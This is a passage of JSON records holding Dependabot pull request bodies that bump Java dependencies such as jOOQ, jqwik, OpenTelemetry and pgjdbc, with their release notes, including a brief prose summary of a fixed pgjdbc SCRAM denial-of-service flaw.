components,\nsuch as the rule-based routing sampler.\n(\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18813\"\u003e#18813\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eVersion 2.28.0 (2026-05-19)\u003c/h2\u003e\n\u003cp\u003eThis release targets the OpenTelemetry SDK 1.62.0.\u003c/p\u003e\n\u003cp\u003eNote that many artifacts have the \u003ccode\u003e-alpha\u003c/code\u003e suffix attached to their version\nnumber, reflecting that they will continue to have breaking changes. Please see\n\u003ca href=\"https://github.com/open-telemetry/opentelemetry-java-instrumentation/blob/main/VERSIONING.md#opentelemetry-java-instrumentation-versioning\"\u003eVERSIONING.md\u003c/a\u003e\nfor more details.\u003c/p\u003e\n\u003ch3\u003e⚠️ Breaking changes to non-stable APIs\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRemoved the obsolete internal \u003ccode\u003eClassInjector\u003c/code\u003e/\u003ccode\u003eProxyInjectionBuilder\u003c/code\u003e API used by the old\n\u003ccode\u003eExperimentalInstrumentationModule.injectClasses(ClassInjector)\u003c/code\u003e path; use\n\u003ccode\u003eExperimentalInstrumentationModule.exposedClassNames()\u003c/code\u003e instead.\n(\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18112\"\u003e#18112\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRemoved previously deprecated non-stable API methods and the deprecated\n\u003ccode\u003eopentelemetry-runtime-telemetry-java8\u003c/code\u003e and \u003ccode\u003eopentelemetry-runtime-telemetry-java17\u003c/code\u003e library\naliases.\n(\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18136\"\u003e#18136\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRemoved the previously deprecated \u003ccode\u003ecaptureEventName\u003c/code\u003e library builder setting from the\nlogback-appender-1.0 and log4j-appender-2.17 \u003ccode\u003eOpenTelemetryAppender\u003c/code\u003e, and the corresponding\n\u003ccode\u003eotel.instrumentation.{logback-appender,log4j-appender,jboss-logmanager}.experimental.capture-event-name\u003c/code\u003e\njavaagent properties. Use the \u003ccode\u003eotel.event.name\u003c/code\u003e key in MDC / context data / key-value pairs /\nLogstash markers / structured arguments instead.\n(\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18223\"\u003e#18223\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRemoved previously deprecated experimental config properties\n\u003ccode\u003eotel.instrumentation.http.client.experimental.redact-query-parameters\u003c/code\u003e and\n\u003ccode\u003eotel.instrumentation.common.experimental.db-sqlcommenter.enabled\u003c/code\u003e; use\n\u003ccode\u003eotel.instrumentation.sanitization.url.experimental.sensitive-query-parameters\u003c/code\u003e and\n\u003ccode\u003eotel.instrumentation.common.db.experimental.sqlcommenter.enabled\u003c/code\u003e instead.\n(\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18229\"\u003e#18229\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/open-telemetry/opentelemetry-java-instrumentation/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `net.jqwik:jqwik` from 1.9.3 to 1.10.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/jqwik-team/jqwik/releases\"\u003enet.jqwik:jqwik's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRounding Up JUnit Platform Version 1\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eThis will probably be the last release of Jqwik using JUnit Platform version 1.x.\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eUpcoming releases, if ever realised, will be built on JUnit Platform 6 and thus Java \u0026gt;= 21.\u003c/p\u003e\n\u003ch4\u003eNew and Enhanced Features\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eAdded \u003ca href=\"https://jqwik.net/docs/1.10.0/user-guide.html#note-to-coding-agents-and-alike\"\u003eparagraph about intended AI usage\u003c/a\u003e to user guide\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eMade \u003ccode\u003e@NotBlank\u003c/code\u003e configurator compatible with UTF-8 whitespace.\nSee \u003ca href=\"https://redirect.github.com/jqwik-team/jqwik/issues/663\"\u003eissue 663\u003c/a\u003e for details.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eBreaking Changes\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eUse of jqwik \u0026gt;= 1.10 with coding agents is strongly discouraged.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eDependency Upgrades and Bug Fixes\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eUpgraded to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003eUpgraded to JUnit Platform 1.14.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jqwik-team/jqwik/commit/7d7e9baaa5f46ed4122a5ff22edfbca81a955778\"\u003e\u003ccode\u003e7d7e9ba\u003c/code\u003e\u003c/a\u003e Set release version 1.10.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jqwik-team/jqwik/commit/37178a1b3068a4ef250a975245a1c5498b802f21\"\u003e\u003ccode\u003e37178a1\u003c/code\u003e\u003c/a\u003e Made NotBlank UTF-8 whitespace compatible\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jqwik-team/jqwik/commit/b9a8d81d07242f81bf669129bf2c462751375842\"\u003e\u003ccode\u003eb9a8d81\u003c/code\u003e\u003c/a\u003e Minor formatting tweak in user guide\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jqwik-team/jqwik/commit/2aaae09f6c4146a73b12001cab6d4c582097610d\"\u003e\u003ccode\u003e2aaae09\u003c/code\u003e\u003c/a\u003e Updated TODOs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jqwik-team/jqwik/commit/6fe00a2c473469186ba29dcf0986600db9b8dc22\"\u003e\u003ccode\u003e6fe00a2\u003c/code\u003e\u003c/a\u003e Fixed dokka generation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jqwik-team/jqwik/commit/1b87f9d87440ca253fff770b09f1bc8c92665fe0\"\u003e\u003ccode\u003e1b87f9d\u003c/code\u003e\u003c/a\u003e Started to fix documentation generation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jqwik-team/jqwik/commit/9dddcb5226dc925061332a30360658253c3a2338\"\u003e\u003ccode\u003e9dddcb5\u003c/code\u003e\u003c/a\u003e Added message for AI coding agents.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jqwik-team/jqwik/commit/310408da1b01c898afbc1f2695f5bcd9cf690312\"\u003e\u003ccode\u003e310408d\u003c/code\u003e\u003c/a\u003e Removed Java versions 26 from build matrix\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jqwik-team/jqwik/commit/ca846a0266ebbb07e1627be0069f691a3ade4d67\"\u003e\u003ccode\u003eca846a0\u003c/code\u003e\u003c/a\u003e Took Java versions 25, 26 to build matrix\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jqwik-team/jqwik/commit/13ed02ac5e6c5a346db060d8635152793f773f1c\"\u003e\u003ccode\u003e13ed02a\u003c/code\u003e\u003c/a\u003e Took Java versions \u0026lt; 17 out of build matrix\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/jqwik-team/jqwik/compare/1.9.3...1.10.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.diffplug.spotless` from 8.4.0 to 8.5.1\n\nUpdates `org.jooq.jooq-codegen-gradle` from 3.19.31 to 3.19.34\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/jOOQ/jOOQ/releases\"\u003eorg.jooq.jooq-codegen-gradle's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.19.34\u003c/h2\u003e\n\u003ch1\u003eVersion 3.19.34 - May 12, 2026\u003c/h1\u003e\n\u003cp\u003eThis is a 3.19 patch release with minor improvements and bug fixes\u003c/p\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19946\"\u003e#19946\u003c/a\u003e - KotlinGenerator produces var instead of val when generating \u0026lt;immutablePojos/\u0026gt; for embeddables\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19951\"\u003e#19951\u003c/a\u003e - Column mismatch between MERGE .. WHEN NOT MATCHED THEN INSERT and VALUES clauses when there are stored client side computed columns\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19957\"\u003e#19957\u003c/a\u003e - Upgrade pgjdbc to 42.7.11 to mitigate CVE-2026-42198\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19960\"\u003e#19960\u003c/a\u003e - Client side stored computed column expressions are ignored in MERGE .. WHEN MATCHED THEN UPDATE clause\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19965\"\u003e#19965\u003c/a\u003e - Missing parentheses around RATIO_TO_REPORT window function emulation\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19969\"\u003e#19969\u003c/a\u003e - Missing parentheses around some interval arithmetic expressions in Exasol, Teradata\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19977\"\u003e#19977\u003c/a\u003e - ClassCastException when using EmbeddableRecords in Field.eq(any(array))\u003c/p\u003e\n\u003ch2\u003e3.19.33\u003c/h2\u003e\n\u003ch1\u003eVersion 3.19.33 - May 5, 2026\u003c/h1\u003e\n\u003cp\u003eThis is a 3.19 patch release with minor improvements and bug fixes\u003c/p\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19874\"\u003e#19874\u003c/a\u003e - Render MATERIALIZED keyword for YugabyteDB when using asMaterialized()\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19878\"\u003e#19878\u003c/a\u003e - Regression when using Loader batch insertion with StatementType.STATIC_STATEMENT\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19882\"\u003e#19882\u003c/a\u003e - Statements executed from ExecuteContext::connection will eagerly release the connection to the ConnectionProvider\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19888\"\u003e#19888\u003c/a\u003e - DataAccessException::sqlStateClass returns OTHER instead of C22_DATA_EXCEPTION for Oracle data problems related to CHAR vs BYTE string columns\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19893\"\u003e#19893\u003c/a\u003e - NullPointerException in XMLDatabase when routine has no parameters\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19903\"\u003e#19903\u003c/a\u003e - Missing support for parsing BigQuery BIGNUMERIC and BIGDECIMAL data types\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19907\"\u003e#19907\u003c/a\u003e - MetaSQL tries to load check constraints, but check constraints were not yet introduced to MySQL 5.7\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19912\"\u003e#19912\u003c/a\u003e - No Teradata support for ALTER TABLE .. ADD IF NOT EXISTS and similar statements\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19916\"\u003e#19916\u003c/a\u003e - Cannot CAST from numeric to CLOB directly, in Teradata\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19920\"\u003e#19920\u003c/a\u003e - Bad data type rendered for SQLDataType.LONGVARBINARY in Teradata\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19924\"\u003e#19924\u003c/a\u003e - Work around Teradata JDBC driver issue where DatabaseMetaData::getColumns may produce a null type name\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19928\"\u003e#19928\u003c/a\u003e - Nested rows within MULTISET projections do not apply JSON or XML cast necessary for serialising certain data types\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19941\"\u003e#19941\u003c/a\u003e - DSL::isoDayOfWeek renders wrong SQL expression for MariaDB and MySQL when used in arithmetic operations\u003c/p\u003e\n\u003ch2\u003e3.19.32\u003c/h2\u003e\n\u003ch1\u003eVersion 3.20.13 - April 16, 2026\u003c/h1\u003e\n\u003cp\u003eThis is a 3.20 patch release with minor improvements and bug fixes\u003c/p\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/983be04bfe689e9ba00cbafac92f4a36c7e05e4d\"\u003e\u003ccode\u003e983be04\u003c/code\u003e\u003c/a\u003e Release 3.19.34\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/f874027834833354d35992196c9b2b0b7f2b6e9a\"\u003e\u003ccode\u003ef874027\u003c/code\u003e\u003c/a\u003e\u003ccode\u003ejOOQ/jOOQ#19777\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/09c7f2b7097c6a4aaefdebb14d25211d9d332e92\"\u003e\u003ccode\u003e09c7f2b\u003c/code\u003e\u003c/a\u003e\u003ccode\u003ejOOQ/jOOQ#19777\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/191ea40c2ab42ce46270de0ec85ecb063f738ad8\"\u003e\u003ccode\u003e191ea40\u003c/code\u003e\u003c/a\u003e\u003ccode\u003ejOOQ/jOOQ#19962\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/6fee84fa55356e38d4db2b647cbf72baa670c8de\"\u003e\u003ccode\u003e6fee84f\u003c/code\u003e\u003c/a\u003e\u003ccode\u003ejOOQ/jOOQ#19933\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/b602ce8131008aa6ddfb37339183837b3a8fdd27\"\u003e\u003ccode\u003eb602ce8\u003c/code\u003e\u003c/a\u003e\u003ccode\u003ejOOQ/jOOQ#19948\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/63ec81894526f62a7f4fb21b34211b4cd0579f3c\"\u003e\u003ccode\u003e63ec818\u003c/code\u003e\u003c/a\u003e\u003ccode\u003ejOOQ/jOOQ#19933\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/7da00449de35dc178eba36ee82e395a8ce96cf62\"\u003e\u003ccode\u003e7da0044\u003c/code\u003e\u003c/a\u003e\u003ccode\u003ejOOQ/jOOQ#19954\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/ab16ab1e4f6923c3f3fd21f2a40e549c7f307d86\"\u003e\u003ccode\u003eab16ab1\u003c/code\u003e\u003c/a\u003e\u003ccode\u003ejOOQ/jOOQ#19933\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/15a37db53aaf526f5536e02f4d16f51b185b21be\"\u003e\u003ccode\u003e15a37db\u003c/code\u003e\u003c/a\u003e\u003ccode\u003ejOOQ/jOOQ#19943\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/jOOQ/jOOQ/compare/version-3.19.31...version-3.19.34\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.flywaydb.flyway` from 12.4.0 to 12.6.2\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/Kairyx-dev/KorConverterBot-SpringBoot/pull/51","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kairyx-dev%2FKorConverterBot-SpringBoot/issues/51","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/51/packages"}},{"old_version":"42.7.10","new_version":"42.7.11","update_type":"patch","path":null,"pr_created_at":"2026-05-24T05:15:13.000Z","version_change":"42.7.10 → 42.7.11","issue":{"uuid":"4510582148","node_id":"PR_kwDOI64WQs7eu12c","number":506,"state":"closed","title":"Bump the safe-patch-updates group across 1 directory with 19 updates","user":"dependabot[bot]","labels":["dependencies","java"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-05-31T05:14:54.000Z","author_association":null,"state_reason":null,"created_at":"2026-05-24T05:15:13.000Z","updated_at":"2026-05-31T05:14:56.000Z","time_to_close":604781,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"safe-patch-updates","update_count":19,"packages":[{"name":"org.slf4j:slf4j-api","old_version":"2.0.17","new_version":"2.0.18"},{"name":"org.slf4j:slf4j-simple","old_version":"2.0.17","new_version":"2.0.18"},{"name":"org.slf4j:jcl-over-slf4j","old_version":"2.0.17","new_version":"2.0.18"},{"name":"org.slf4j:jul-to-slf4j","old_version":"2.0.17","new_version":"2.0.18"},{"name":"org.postgresql:postgresql","old_version":"42.7.10","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"},{"name":"com.auth0:java-jwt","old_version":"4.5.1","new_version":"4.5.2","repository_url":"https://github.com/auth0/java-jwt"},{"name":"com.fasterxml.jackson.core:jackson-databind","old_version":"2.21.2","new_version":"2.21.3","repository_url":"https://github.com/FasterXML/jackson"},{"name":"com.fasterxml.jackson.core:jackson-core","old_version":"2.21.2","new_version":"2.21.3","repository_url":"https://github.com/FasterXML/jackson-core"},{"name":"com.fasterxml.jackson.datatype:jackson-datatype-jsr310","old_version":"2.21.2","new_version":"2.21.3"},{"name":"com.fasterxml.jackson.module:jackson-module-jakarta-xmlbind-annotations","old_version":"2.21.2","new_version":"2.21.3","repository_url":"https://github.com/FasterXML/jackson-modules-base"},{"name":"com.fasterxml.jackson.dataformat:jackson-dataformat-yaml","old_version":"2.21.2","new_version":"2.21.3","repository_url":"https://github.com/FasterXML/jackson-dataformats-text"},{"name":"org.glassfish.jaxb:jaxb-runtime","old_version":"4.0.7","new_version":"4.0.8"},{"name":"org.thymeleaf:thymeleaf","old_version":"3.1.4.RELEASE","new_version":"3.1.5.RELEASE"},{"name":"org.operaton.bpm:operaton-engine","old_version":"1.1.1","new_version":"1.1.3"},{"name":"org.operaton.bpm:operaton-engine-spring","old_version":"1.1.1","new_version":"1.1.3"},{"name":"org.operaton.bpm.model:operaton-bpmn-model","old_version":"1.1.1","new_version":"1.1.3"},{"name":"org.apache.maven:maven-core","old_version":"3.9.15","new_version":"3.9.16"},{"name":"org.apache.maven:maven-plugin-api","old_version":"3.9.15","new_version":"3.9.16","repository_url":"https://github.com/apache/maven"},{"name":"org.apache.maven.plugins:maven-enforcer-plugin","old_version":"3.6.2","new_version":"3.6.3","repository_url":"https://github.com/apache/maven-enforcer"}],"path":null,"ecosystem":"maven"},"body":"Bumps the safe-patch-updates group with 19 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| org.slf4j:slf4j-api | `2.0.17` | `2.0.18` |\n| org.slf4j:slf4j-simple | `2.0.17` | `2.0.18` |\n| org.slf4j:jcl-over-slf4j | `2.0.17` | `2.0.18` |\n| org.slf4j:jul-to-slf4j | `2.0.17` | `2.0.18` |\n| [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) | `42.7.10` | `42.7.11` |\n| [com.auth0:java-jwt](https://github.com/auth0/java-jwt) | `4.5.1` | `4.5.2` |\n| [com.fasterxml.jackson.core:jackson-databind](https://github.com/FasterXML/jackson) | `2.21.2` | `2.21.3` |\n| [com.fasterxml.jackson.core:jackson-core](https://github.com/FasterXML/jackson-core) | `2.21.2` | `2.21.3` |\n| com.fasterxml.jackson.datatype:jackson-datatype-jsr310 | `2.21.2` | `2.21.3` |\n| [com.fasterxml.jackson.module:jackson-module-jakarta-xmlbind-annotations](https://github.com/FasterXML/jackson-modules-base) | `2.21.2` | `2.21.3` |\n| [com.fasterxml.jackson.dataformat:jackson-dataformat-yaml](https://github.com/FasterXML/jackson-dataformats-text) | `2.21.2` | `2.21.3` |\n| org.glassfish.jaxb:jaxb-runtime | `4.0.7` | `4.0.8` |\n| org.thymeleaf:thymeleaf | `3.1.4.RELEASE` | `3.1.5.RELEASE` |\n| org.operaton.bpm:operaton-engine | `1.1.1` | `1.1.3` |\n| org.operaton.bpm:operaton-engine-spring | `1.1.1` | `1.1.3` |\n| org.operaton.bpm.model:operaton-bpmn-model | `1.1.1` | `1.1.3` |\n| org.apache.maven:maven-core | `3.9.15` | `3.9.16` |\n| [org.apache.maven:maven-plugin-api](https://github.com/apache/maven) | `3.9.15` | `3.9.16` |\n| [org.apache.maven.plugins:maven-enforcer-plugin](https://github.com/apache/maven-enforcer) | `3.6.2` | `3.6.3` |\n\n\nUpdates `org.slf4j:slf4j-api` from 2.0.17 to 2.0.18\n\nUpdates `org.slf4j:slf4j-simple` from 2.0.17 to 2.0.18\n\nUpdates `org.slf4j:jcl-over-slf4j` from 2.0.17 to 2.0.18\n\nUpdates `org.slf4j:jul-to-slf4j` from 2.0.17 to 2.0.18\n\nUpdates `org.slf4j:slf4j-simple` from 2.0.17 to 2.0.18\n\nUpdates `org.slf4j:jcl-over-slf4j` from 2.0.17 to 2.0.18\n\nUpdates `org.slf4j:jul-to-slf4j` from 2.0.17 to 2.0.18\n\nUpdates `org.postgresql:postgresql` from 42.7.10 to 42.7.11\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/releases\"\u003eorg.postgresql:postgresql's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev42.7.11\u003c/h2\u003e\n\u003ch2\u003eSecurity\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChanges\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Add sources and javadocs to shaded published lib generation \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4043\"\u003e#4043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eupdate Changelog and website for release of 42.7.11 \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix scram fix location in changelog and update published artifact developer list \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4041\"\u003e#4041\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRestrict test with scram_iterations to v16+ and release notes \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4040\"\u003e#4040\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update ubuntu:24.04 docker digest to 84e77de \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4017\"\u003e#4017\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add tests for QueryExecutor#getTransactionState \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4006\"\u003e#4006\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update actions/create-github-app-token action to v2.2.2 \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3983\"\u003e#3983\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky CopyBothResponseTest by using WAL flush LSN \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3979\"\u003e#3979\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky replication restart tests by waiting for confirmed_flush_lsn \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3975\"\u003e#3975\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: fix flaky LogicalReplicationStatusTest by polling pg_stat_replication \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3974\"\u003e#3974\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace Appveyor with ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: move test table creation from \u003ca href=\"https://github.com/BeforeEach\"\u003e\u003ccode\u003e@​BeforeEach\u003c/code\u003e\u003c/a\u003e to \u003ca href=\"https://github.com/BeforeAll\"\u003e\u003ccode\u003e@​BeforeAll\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3967\"\u003e#3967\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReturn jsonb as PGObject fixes Issue 